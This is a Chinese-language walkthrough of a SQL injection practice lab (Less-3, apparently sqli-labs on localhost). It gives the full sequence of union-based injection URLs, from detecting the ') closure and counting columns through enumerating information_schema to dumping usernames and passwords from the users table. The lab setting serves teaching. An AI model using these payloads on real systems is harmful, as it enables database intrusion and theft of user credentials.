1、判断是否动、静态页面
http://localhost:9898/Less-3/?/id=2;可以判断参数是id,id值不一样,显示页面不同
2.判断是否存在注入
可用\号来查看构造闭合,分别用http://localhost:9898/Less-3/?id=1') and 1=1-- qwe和http://localhost:9898/Less-3/?id=1') and 1=2-- qwe来进行探测
可以看到')构成闭合。
3.判断字段数
用order by判断字段数(二分法)
http://localhost:9898/Less-3/?id=1') order by 4-- qwe
http://localhost:9898/Less-3/?id=1') order by 2-- qwe
http://localhost:9898/Less-3/?id=1') order by 3-- qwe
说明字符数为3
4.判断显错位
http://localhost:9898/Less-3/?id=999') union select 1,2,3-- qwe
结果显示回显点为2,3
5.判断库名和数据库版本
http://localhost:9898/Less-3/?id=999') union select 1,version(),database()-- qwe
结果可发现当前数据库是security数据库,数据库版本是5.0以上。
6.判断表名
http://localhost:9898/Less-3/?id=999') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
用group_concat输出security数据库下的所有表。
7.判断列名
http://localhost:9898/Less-3/?id=999') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe
一般用户名和密码都在users表,所以爆users表。
8.寻找具体数据
?id=999') union select 1,group_concat(username),group_concat(password) from users-- qwe
从users表中获取敏感信息。
至此,回显注入完成。